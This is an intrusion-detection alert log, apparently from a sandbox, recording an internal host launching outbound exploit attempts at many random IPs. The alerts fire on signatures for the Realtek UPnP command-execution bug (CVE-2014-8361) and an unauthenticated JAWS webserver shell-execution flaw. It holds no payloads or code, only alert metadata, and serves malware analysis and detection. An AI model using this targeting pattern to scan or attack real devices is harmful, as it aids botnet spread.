2024-12-11T00:43:29.573566+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	52688	137.242.182.194	8080	TCP
2024-12-11T00:43:29.574483+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	47162	69.214.87.241	80	TCP
2024-12-11T00:43:29.576129+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	37822	177.122.6.73	8080	TCP
2024-12-11T00:43:29.576905+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	52762	115.50.227.165	8080	TCP
2024-12-11T00:43:29.577437+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	48882	93.215.216.106	80	TCP
2024-12-11T00:43:29.577850+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	52956	49.74.230.150	8080	TCP
2024-12-11T00:43:29.578146+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	56034	219.203.86.236	80	TCP
2024-12-11T00:43:29.578785+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	57636	19.148.27.162	8080	TCP
2024-12-11T00:43:29.579170+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	57576	141.74.31.86	80	TCP
2024-12-11T00:43:29.579600+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	59710	176.129.63.174	8080	TCP
2024-12-11T00:43:29.579790+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	44902	38.94.214.104	8080	TCP
2024-12-11T00:43:29.580477+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	40728	88.238.152.125	8080	TCP
2024-12-11T00:43:29.580971+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	57188	90.16.121.147	8080	TCP
2024-12-11T00:43:29.581167+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	60546	191.152.135.201	8080	TCP
2024-12-11T00:43:29.582604+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	37758	4.33.109.123	8080	TCP
2024-12-11T00:43:29.583343+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	49966	138.136.138.165	80	TCP
2024-12-11T00:43:29.583538+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	59308	202.99.95.205	80	TCP
2024-12-11T00:43:29.584700+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	48968	152.230.216.20	80	TCP
2024-12-11T00:43:29.587865+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	49482	185.7.165.100	80	TCP
2024-12-11T00:43:29.587989+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	58272	110.93.67.47	80	TCP
2024-12-11T00:43:29.588893+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	37498	50.241.123.12	80	TCP
2024-12-11T00:43:29.589034+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	40984	143.26.169.103	80	TCP
2024-12-11T00:43:29.589428+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	38326	168.135.70.170	80	TCP
2024-12-11T00:43:29.589707+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	36788	81.14.183.229	8080	TCP
2024-12-11T00:43:29.590760+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	40484	218.127.6.163	80	TCP
2024-12-11T00:43:29.664273+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	48332	172.201.78.230	80	TCP
2024-12-11T00:43:29.664363+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	37634	75.88.145.147	80	TCP
2024-12-11T00:43:29.664637+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	50746	117.194.49.127	8080	TCP
2024-12-11T00:43:32.695756+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	47720	187.43.112.15	80	TCP
2024-12-11T00:43:39.429832+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	54386	53.210.10.234	80	TCP
2024-12-11T00:43:39.429985+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	34596	111.78.72.40	80	TCP
2024-12-11T00:43:39.461046+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	37210	169.79.111.250	8080	TCP
2024-12-11T00:43:39.461424+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	36760	121.246.12.210	80	TCP
2024-12-11T00:43:40.492413+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	57176	136.96.254.154	8080	TCP
2024-12-11T00:43:40.664229+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	50662	114.65.149.154	80	TCP
2024-12-11T00:43:40.711303+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	49524	201.192.233.8	80	TCP
2024-12-11T00:43:40.851887+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	57100	96.141.159.101	8080	TCP
2024-12-11T00:43:40.867327+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	34954	150.213.241.201	8080	TCP
2024-12-11T00:43:41.742360+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	37984	173.227.189.95	80	TCP
2024-12-11T00:43:41.742653+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	47524	57.237.49.225	8080	TCP
2024-12-11T00:43:41.836273+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	48444	19.230.61.212	80	TCP
2024-12-11T00:43:41.836370+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	50092	141.55.34.21	80	TCP
2024-12-11T00:43:41.898721+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	36858	142.20.61.23	80	TCP
2024-12-11T00:43:42.492822+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	35546	179.33.8.25	8080	TCP
2024-12-11T00:43:42.523770+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	40240	219.82.14.209	80	TCP
2024-12-11T00:43:43.667397+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	56164	3.50.46.176	8080	TCP
2024-12-11T00:43:43.695718+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	38630	27.124.53.203	80	TCP
2024-12-11T00:43:43.814850+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	44592	74.188.6.77	8080	TCP
2024-12-11T00:43:43.814868+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	60620	215.230.190.216	8080	TCP
2024-12-11T00:43:43.914200+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	58732	53.86.41.99	80	TCP
2024-12-11T00:43:47.430470+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	34624	34.49.97.215	8080	TCP
2024-12-11T00:43:47.523871+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	59720	104.87.39.73	8080	TCP
2024-12-11T00:43:47.540140+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	55656	115.15.94.51	80	TCP
2024-12-11T00:43:47.540220+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	58646	39.61.64.138	80	TCP
2024-12-11T00:43:47.540383+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	60822	20.39.219.19	8080	TCP
2024-12-11T00:43:48.445608+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	32844	16.222.179.123	80	TCP
2024-12-11T00:43:48.462567+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	56600	177.244.168.82	80	TCP
2024-12-11T00:43:48.492517+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	51528	172.218.152.109	8080	TCP
2024-12-11T00:43:50.477295+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	45140	18.76.225.254	80	TCP
2024-12-11T00:43:50.493217+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	54666	60.224.26.52	8080	TCP
2024-12-11T00:43:50.493454+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	41050	72.239.95.188	8080	TCP
2024-12-11T00:43:50.586342+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	53758	179.118.33.80	80	TCP
2024-12-11T00:43:51.430412+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	58964	192.187.71.247	80	TCP
2024-12-11T00:43:51.445786+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	55748	183.56.155.12	80	TCP
2024-12-11T00:43:51.461504+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	35324	14.152.145.25	8080	TCP
2024-12-11T00:43:51.539644+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	37322	137.128.167.60	8080	TCP
2024-12-11T00:43:52.415388+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	44078	132.209.72.153	8080	TCP
2024-12-11T00:43:52.461566+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	45838	123.77.40.229	8080	TCP
2024-12-11T00:43:52.461978+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	47778	170.118.4.35	8080	TCP
2024-12-11T00:43:52.492723+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	35670	179.153.43.135	8080	TCP
2024-12-11T00:43:54.461481+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	59574	175.27.152.198	80	TCP
2024-12-11T00:43:55.417069+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	34756	131.92.123.17	8080	TCP
2024-12-11T00:43:55.431254+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	58846	79.57.139.218	8080	TCP
2024-12-11T00:43:55.492747+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	56288	163.199.121.3	80	TCP
2024-12-11T00:43:57.414837+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	41850	205.175.182.77	8080	TCP
2024-12-11T00:43:57.586480+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	37708	154.144.254.242	80	TCP
2024-12-11T00:43:58.430560+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	54682	27.2.41.242	80	TCP
2024-12-11T00:43:58.430685+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	33058	56.243.106.119	8080	TCP
2024-12-11T00:43:58.430883+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	42004	180.145.130.51	80	TCP
2024-12-11T00:43:58.446116+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	51676	163.114.7.60	80	TCP
2024-12-11T00:43:58.446271+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	43372	27.130.12.16	80	TCP
2024-12-11T00:43:58.492783+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	60128	78.39.176.95	8080	TCP
2024-12-11T00:43:58.524030+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	36504	11.240.129.254	80	TCP
2024-12-11T00:43:59.399121+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	32946	143.92.171.238	8080	TCP
2024-12-11T00:44:00.414942+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	55360	126.188.12.126	80	TCP
2024-12-11T00:44:01.464156+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	45772	30.60.58.183	8080	TCP
2024-12-11T00:44:01.508430+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	36596	50.110.115.30	8080	TCP
2024-12-11T00:44:01.727277+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	46258	128.148.246.68	8080	TCP
2024-12-11T00:44:02.446195+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	36814	124.76.112.210	8080	TCP
2024-12-11T00:44:02.461478+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	33956	20.68.156.158	8080	TCP
2024-12-11T00:44:02.555408+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	51944	79.149.151.18	80	TCP
2024-12-11T00:44:02.586539+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	56914	58.68.44.87	80	TCP
2024-12-11T00:44:03.461743+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	50626	105.87.20.19	8080	TCP
2024-12-11T00:44:03.494144+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	60082	139.233.195.219	8080	TCP
2024-12-11T00:44:04.495157+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	43248	190.58.45.87	80	TCP
2024-12-11T00:44:04.495266+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	36422	165.102.249.29	8080	TCP
2024-12-11T00:44:04.495386+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	48630	82.201.90.58	80	TCP
2024-12-11T00:44:04.509409+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	46522	65.103.37.42	8080	TCP
2024-12-11T00:44:04.586667+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	36376	42.123.190.33	8080	TCP
2024-12-11T00:44:05.430862+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	55718	32.154.86.129	80	TCP
2024-12-11T00:44:05.461732+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	38622	36.252.136.224	80	TCP
2024-12-11T00:44:06.414747+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	50574	4.3.110.0	8080	TCP
2024-12-11T00:44:06.508637+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	37112	82.181.66.3	80	TCP
2024-12-11T00:44:06.508764+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	60564	211.23.135.120	8080	TCP
2024-12-11T00:44:07.461725+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	57416	16.56.252.137	8080	TCP
2024-12-11T00:44:07.524641+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	42166	204.128.136.138	8080	TCP
2024-12-11T00:44:07.524965+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	49556	219.249.5.112	8080	TCP
2024-12-11T00:44:08.461655+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	38588	18.56.150.55	80	TCP
2024-12-11T00:44:08.462365+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	59698	72.133.204.150	8080	TCP
2024-12-11T00:44:08.524349+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	57556	112.110.69.17	8080	TCP

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-11T00:43:07.285697+0100	2027339	1	A Network Trojan was detected	192.168.2.23	58972	79.39.229.25	52869	TCP
2024-12-11T00:43:07.286052+0100	2027339	1	A Network Trojan was detected	192.168.2.23	59284	31.20.181.48	52869	TCP
2024-12-11T00:43:07.287143+0100	2027339	1	A Network Trojan was detected	192.168.2.23	45240	161.199.124.145	52869	TCP
2024-12-11T00:43:07.324653+0100	2027339	1	A Network Trojan was detected	192.168.2.23	48258	51.217.212.91	52869	TCP
2024-12-11T00:43:07.326866+0100	2027339	1	A Network Trojan was detected	192.168.2.23	39032	61.2.36.48	52869	TCP
2024-12-11T00:43:07.327251+0100	2027339	1	A Network Trojan was detected	192.168.2.23	57932	101.125.216.151	52869	TCP
2024-12-11T00:43:07.330571+0100	2027339	1	A Network Trojan was detected	192.168.2.23	51804	193.245.80.68	52869	TCP
2024-12-11T00:43:07.333510+0100	2027339	1	A Network Trojan was detected	192.168.2.23	51066	73.124.161.55	52869	TCP
2024-12-11T00:43:07.333900+0100	2027339	1	A Network Trojan was detected	192.168.2.23	54874	217.238.86.73	52869	TCP
2024-12-11T00:43:07.334256+0100	2027339	1	A Network Trojan was detected	192.168.2.23	44164	131.95.252.218	52869	TCP
2024-12-11T00:43:07.345708+0100	2027339	1	A Network Trojan was detected	192.168.2.23	35372	170.59.144.179	52869	TCP
2024-12-11T00:43:07.349014+0100	2027339	1	A Network Trojan was detected	192.168.2.23	42974	179.30.194.108	52869	TCP
2024-12-11T00:43:07.363320+0100	2027339	1	A Network Trojan was detected	192.168.2.23	37622	74.94.9.126	52869	TCP
2024-12-11T00:43:07.364039+0100	2027339	1	A Network Trojan was detected	192.168.2.23	36822	79.79.71.152	52869	TCP
2024-12-11T00:43:07.370581+0100	2027339	1	A Network Trojan was detected	192.168.2.23	44416	113.8.22.97	52869	TCP
2024-12-11T00:43:07.371300+0100	2027339	1	A Network Trojan was detected	192.168.2.23	54226	42.186.151.84	52869	TCP
2024-12-11T00:43:07.373112+0100	2027339	1	A Network Trojan was detected	192.168.2.23	60746	36.77.84.33	52869	TCP
2024-12-11T00:43:07.382187+0100	2027339	1	A Network Trojan was detected	192.168.2.23	42906	84.2.80.57	52869	TCP
2024-12-11T00:43:07.383635+0100	2027339	1	A Network Trojan was detected	192.168.2.23	47372	162.33.207.205	52869	TCP
2024-12-11T00:43:07.384360+0100	2027339	1	A Network Trojan was detected	192.168.2.23	56902	194.213.146.39	52869	TCP
2024-12-11T00:43:09.665707+0100	2027339	1	A Network Trojan was detected	192.168.2.23	60892	45.153.216.8	52869	TCP
2024-12-11T00:43:18.289920+0100	2027339	1	A Network Trojan was detected	192.168.2.23	35642	59.92.247.206	52869	TCP
2024-12-11T00:43:18.298793+0100	2027339	1	A Network Trojan was detected	192.168.2.23	42212	53.169.246.148	52869	TCP
2024-12-11T00:43:18.306159+0100	2027339	1	A Network Trojan was detected	192.168.2.23	33420	209.95.98.5	52869	TCP
2024-12-11T00:43:18.306529+0100	2027339	1	A Network Trojan was detected	192.168.2.23	45430	1.146.114.34	52869	TCP
2024-12-11T00:43:18.306899+0100	2027339	1	A Network Trojan was detected	192.168.2.23	47912	107.123.240.5	52869	TCP
2024-12-11T00:43:18.309860+0100	2027339	1	A Network Trojan was detected	192.168.2.23	59620	104.228.111.14	52869	TCP
2024-12-11T00:43:18.310225+0100	2027339	1	A Network Trojan was detected	192.168.2.23	50832	113.213.180.153	52869	TCP
2024-12-11T00:43:18.332323+0100	2027339	1	A Network Trojan was detected	192.168.2.23	53016	47.219.98.220	52869	TCP
2024-12-11T00:43:18.333808+0100	2027339	1	A Network Trojan was detected	192.168.2.23	47070	30.145.58.15	52869	TCP
2024-12-11T00:43:18.334525+0100	2027339	1	A Network Trojan was detected	192.168.2.23	46460	131.244.225.102	52869	TCP
2024-12-11T00:43:18.349400+0100	2027339	1	A Network Trojan was detected	192.168.2.23	59994	165.209.139.40	52869	TCP
2024-12-11T00:43:18.350884+0100	2027339	1	A Network Trojan was detected	192.168.2.23	58554	160.49.80.179	52869	TCP
2024-12-11T00:43:18.354976+0100	2027339	1	A Network Trojan was detected	192.168.2.23	38672	19.99.0.75	52869	TCP
2024-12-11T00:43:18.358655+0100	2027339	1	A Network Trojan was detected	192.168.2.23	52068	79.28.180.59	52869	TCP
2024-12-11T00:43:18.368358+0100	2027339	1	A Network Trojan was detected	192.168.2.23	49140	182.225.227.232	52869	TCP
2024-12-11T00:43:18.369482+0100	2027339	1	A Network Trojan was detected	192.168.2.23	34124	214.179.110.36	52869	TCP
2024-12-11T00:43:18.370217+0100	2027339	1	A Network Trojan was detected	192.168.2.23	33794	145.241.115.127	52869	TCP
2024-12-11T00:43:18.376173+0100	2027339	1	A Network Trojan was detected	192.168.2.23	53870	89.35.238.39	52869	TCP
2024-12-11T00:43:18.376494+0100	2027339	1	A Network Trojan was detected	192.168.2.23	38240	91.150.21.151	52869	TCP
2024-12-11T00:43:18.384228+0100	2027339	1	A Network Trojan was detected	192.168.2.23	55292	188.206.66.2	52869	TCP
2024-12-11T00:43:18.389083+0100	2027339	1	A Network Trojan was detected	192.168.2.23	34030	153.223.215.107	52869	TCP
2024-12-11T00:43:18.389823+0100	2027339	1	A Network Trojan was detected	192.168.2.23	40350	24.139.219.73	52869	TCP
2024-12-11T00:43:22.483857+0100	2027339	1	A Network Trojan was detected	192.168.2.23	48338	112.83.214.93	52869	TCP
2024-12-11T00:43:30.304589+0100	2027339	1	A Network Trojan was detected	192.168.2.23	51602	157.105.171.225	52869	TCP
2024-12-11T00:43:30.342773+0100	2027339	1	A Network Trojan was detected	192.168.2.23	34088	80.34.249.134	52869	TCP
2024-12-11T00:43:32.329721+0100	2027339	1	A Network Trojan was detected	192.168.2.23	55802	148.77.189.214	52869	TCP
2024-12-11T00:43:32.368626+0100	2027339	1	A Network Trojan was detected	192.168.2.23	54904	182.58.157.78	52869	TCP
2024-12-11T00:43:37.289817+0100	2027339	1	A Network Trojan was detected	192.168.2.23	53990	55.235.209.206	52869	TCP
2024-12-11T00:43:37.317804+0100	2027339	1	A Network Trojan was detected	192.168.2.23	48442	6.128.71.141	52869	TCP
2024-12-11T00:43:39.342382+0100	2027339	1	A Network Trojan was detected	192.168.2.23	34580	147.254.211.165	52869	TCP
2024-12-11T00:43:41.332544+0100	2027339	1	A Network Trojan was detected	192.168.2.23	39918	210.65.241.96	52869	TCP
2024-12-11T00:43:41.344148+0100	2027339	1	A Network Trojan was detected	192.168.2.23	49020	188.31.96.50	52869	TCP
2024-12-11T00:43:42.366092+0100	2027339	1	A Network Trojan was detected	192.168.2.23	35016	21.54.197.199	52869	TCP
2024-12-11T00:43:43.341451+0100	2027339	1	A Network Trojan was detected	192.168.2.23	50440	219.164.39.67	52869	TCP
2024-12-11T00:43:49.900076+0100	2027339	1	A Network Trojan was detected	192.168.2.23	58746	200.129.247.233	52869	TCP
2024-12-11T00:43:50.317648+0100	2027339	1	A Network Trojan was detected	192.168.2.23	49894	41.133.186.117	52869	TCP
2024-12-11T00:43:51.333222+0100	2027339	1	A Network Trojan was detected	192.168.2.23	42630	50.103.241.251	52869	TCP
2024-12-11T00:43:51.347768+0100	2027339	1	A Network Trojan was detected	192.168.2.23	60406	65.95.37.106	52869	TCP
2024-12-11T00:43:51.369560+0100	2027339	1	A Network Trojan was detected	192.168.2.23	32896	211.188.253.144	52869	TCP
2024-12-11T00:43:51.783919+0100	2027339	1	A Network Trojan was detected	192.168.2.23	54916	18.171.155.30	52869	TCP
2024-12-11T00:43:52.341924+0100	2027339	1	A Network Trojan was detected	192.168.2.23	49486	208.115.154.70	52869	TCP
2024-12-11T00:43:52.380923+0100	2027339	1	A Network Trojan was detected	192.168.2.23	51024	125.170.236.159	52869	TCP
2024-12-11T00:43:53.309526+0100	2027339	1	A Network Trojan was detected	192.168.2.23	48686	144.7.7.99	52869	TCP
2024-12-11T00:43:53.336855+0100	2027339	1	A Network Trojan was detected	192.168.2.23	53036	79.217.50.164	52869	TCP
2024-12-11T00:43:54.369830+0100	2027339	1	A Network Trojan was detected	192.168.2.23	34566	29.79.215.238	52869	TCP
2024-12-11T00:43:55.355534+0100	2027339	1	A Network Trojan was detected	192.168.2.23	37200	12.231.157.190	52869	TCP
2024-12-11T00:43:57.298573+0100	2027339	1	A Network Trojan was detected	192.168.2.23	54852	32.132.72.95	52869	TCP
2024-12-11T00:43:57.301842+0100	2027339	1	A Network Trojan was detected	192.168.2.23	36782	219.13.140.66	52869	TCP
2024-12-11T00:43:59.292134+0100	2027339	1	A Network Trojan was detected	192.168.2.23	59102	99.22.126.251	52869	TCP
2024-12-11T00:44:00.279723+0100	2027339	1	A Network Trojan was detected	192.168.2.23	55994	181.86.102.32	52869	TCP
2024-12-11T00:44:00.359465+0100	2027339	1	A Network Trojan was detected	192.168.2.23	45632	103.118.131.139	52869	TCP
2024-12-11T00:44:00.371848+0100	2027339	1	A Network Trojan was detected	192.168.2.23	53854	79.67.65.187	52869	TCP
2024-12-11T00:44:01.320367+0100	2027339	1	A Network Trojan was detected	192.168.2.23	54070	104.46.236.102	52869	TCP
2024-12-11T00:44:01.346655+0100	2027339	1	A Network Trojan was detected	192.168.2.23	47576	2.29.108.183	52869	TCP
2024-12-11T00:44:01.385532+0100	2027339	1	A Network Trojan was detected	192.168.2.23	53672	101.39.189.124	52869	TCP
2024-12-11T00:44:02.318108+0100	2027339	1	A Network Trojan was detected	192.168.2.23	50688	6.8.177.58	52869	TCP
2024-12-11T00:44:03.330161+0100	2027339	1	A Network Trojan was detected	192.168.2.23	51326	86.62.248.79	52869	TCP
2024-12-11T00:44:03.343037+0100	2027339	1	A Network Trojan was detected	192.168.2.23	56242	62.49.22.185	52869	TCP
2024-12-11T00:44:04.392541+0100	2027339	1	A Network Trojan was detected	192.168.2.23	38670	25.66.57.123	52869	TCP
2024-12-11T00:44:05.329462+0100	2027339	1	A Network Trojan was detected	192.168.2.23	34000	222.224.154.209	52869	TCP
2024-12-11T00:44:05.371894+0100	2027339	1	A Network Trojan was detected	192.168.2.23	56932	191.1.14.233	52869	TCP
2024-12-11T00:44:07.315675+0100	2027339	1	A Network Trojan was detected	192.168.2.23	37590	112.185.254.101	52869	TCP
2024-12-11T00:44:07.321167+0100	2027339	1	A Network Trojan was detected	192.168.2.23	47866	3.202.203.44	52869	TCP
2024-12-11T00:44:07.326315+0100	2027339	1	A Network Trojan was detected	192.168.2.23	36518	149.162.57.99	52869	TCP
2024-12-11T00:44:09.073445+0100	2027339	1	A Network Trojan was detected	192.168.2.23	56578	14.60.181.14	52869	TCP
2024-12-11T00:44:09.341698+0100	2027339	1	A Network Trojan was detected	192.168.2.23	51946	150.142.67.130	52869	TCP

ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-11T00:43:07.296583+0100	2030092	1	Web Application Attack	192.168.2.23	34024	193.94.36.43	80	TCP
2024-12-11T00:43:07.303115+0100	2030092	1	Web Application Attack	192.168.2.23	55738	154.140.14.6	80	TCP
2024-12-11T00:43:07.303529+0100	2030092	1	Web Application Attack	192.168.2.23	54192	186.173.246.164	80	TCP
2024-12-11T00:43:07.305659+0100	2030092	1	Web Application Attack	192.168.2.23	34066	16.29.234.244	80	TCP
2024-12-11T00:43:07.322448+0100	2030092	1	Web Application Attack	192.168.2.23	47610	38.95.163.205	80	TCP
2024-12-11T00:43:07.329096+0100	2030092	1	Web Application Attack	192.168.2.23	55656	54.252.138.172	80	TCP
2024-12-11T00:43:07.338331+0100	2030092	1	Web Application Attack	192.168.2.23	56796	121.202.179.6	80	TCP
2024-12-11T00:43:07.354186+0100	2030092	1	Web Application Attack	192.168.2.23	35922	194.17.56.146	80	TCP
2024-12-11T00:43:07.357127+0100	2030092	1	Web Application Attack	192.168.2.23	50674	150.55.156.79	80	TCP
2024-12-11T00:43:07.361137+0100	2030092	1	Web Application Attack	192.168.2.23	35852	3.179.237.117	80	TCP
2024-12-11T00:43:07.366583+0100	2030092	1	Web Application Attack	192.168.2.23	58264	131.241.38.205	80	TCP
2024-12-11T00:43:07.366941+0100	2030092	1	Web Application Attack	192.168.2.23	51382	113.213.140.110	80	TCP
2024-12-11T00:43:07.369486+0100	2030092	1	Web Application Attack	192.168.2.23	37202	216.199.223.139	80	TCP
2024-12-11T00:43:07.374990+0100	2030092	1	Web Application Attack	192.168.2.23	45200	62.103.171.28	80	TCP
2024-12-11T00:43:07.375297+0100	2030092	1	Web Application Attack	192.168.2.23	53112	28.102.126.49	80	TCP
2024-12-11T00:43:07.387992+0100	2030092	1	Web Application Attack	192.168.2.23	50042	137.151.78.143	80	TCP
2024-12-11T00:43:10.797458+0100	2030092	1	Web Application Attack	192.168.2.23	44828	102.75.189.134	80	TCP
2024-12-11T00:43:17.321348+0100	2030092	1	Web Application Attack	192.168.2.23	48140	158.155.184.153	80	TCP
2024-12-11T00:43:18.283960+0100	2030092	1	Web Application Attack	192.168.2.23	54490	172.27.14.53	80	TCP
2024-12-11T00:43:18.284369+0100	2030092	1	Web Application Attack	192.168.2.23	39330	37.106.97.86	80	TCP
2024-12-11T00:43:18.286582+0100	2030092	1	Web Application Attack	192.168.2.23	34484	81.152.153.104	80	TCP
2024-12-11T00:43:18.289188+0100	2030092	1	Web Application Attack	192.168.2.23	33518	64.246.130.65	80	TCP
2024-12-11T00:43:18.291392+0100	2030092	1	Web Application Attack	192.168.2.23	48354	162.154.175.138	80	TCP
2024-12-11T00:43:18.304699+0100	2030092	1	Web Application Attack	192.168.2.23	56244	125.138.41.164	80	TCP
2024-12-11T00:43:18.308383+0100	2030092	1	Web Application Attack	192.168.2.23	56222	154.183.15.240	80	TCP
2024-12-11T00:43:18.309123+0100	2030092	1	Web Application Attack	192.168.2.23	53186	38.61.43.59	80	TCP
2024-12-11T00:43:18.316441+0100	2030092	1	Web Application Attack	192.168.2.23	32868	217.149.6.59	80	TCP
2024-12-11T00:43:18.323073+0100	2030092	1	Web Application Attack	192.168.2.23	52860	29.92.227.30	80	TCP
2024-12-11T00:43:18.326759+0100	2030092	1	Web Application Attack	192.168.2.23	36152	175.33.232.251	80	TCP
2024-12-11T00:43:18.331587+0100	2030092	1	Web Application Attack	192.168.2.23	59644	131.224.165.201	80	TCP
2024-12-11T00:43:18.331970+0100	2030092	1	Web Application Attack	192.168.2.23	57702	207.208.138.25	80	TCP
2024-12-11T00:43:18.336394+0100	2030092	1	Web Application Attack	192.168.2.23	41612	43.51.149.142	80	TCP
2024-12-11T00:43:18.340889+0100	2030092	1	Web Application Attack	192.168.2.23	43800	48.37.127.242	80	TCP
2024-12-11T00:43:18.341633+0100	2030092	1	Web Application Attack	192.168.2.23	54498	84.44.230.193	80	TCP
2024-12-11T00:43:18.356443+0100	2030092	1	Web Application Attack	192.168.2.23	33468	168.11.66.49	80	TCP
2024-12-11T00:43:18.364642+0100	2030092	1	Web Application Attack	192.168.2.23	42104	195.103.106.246	80	TCP
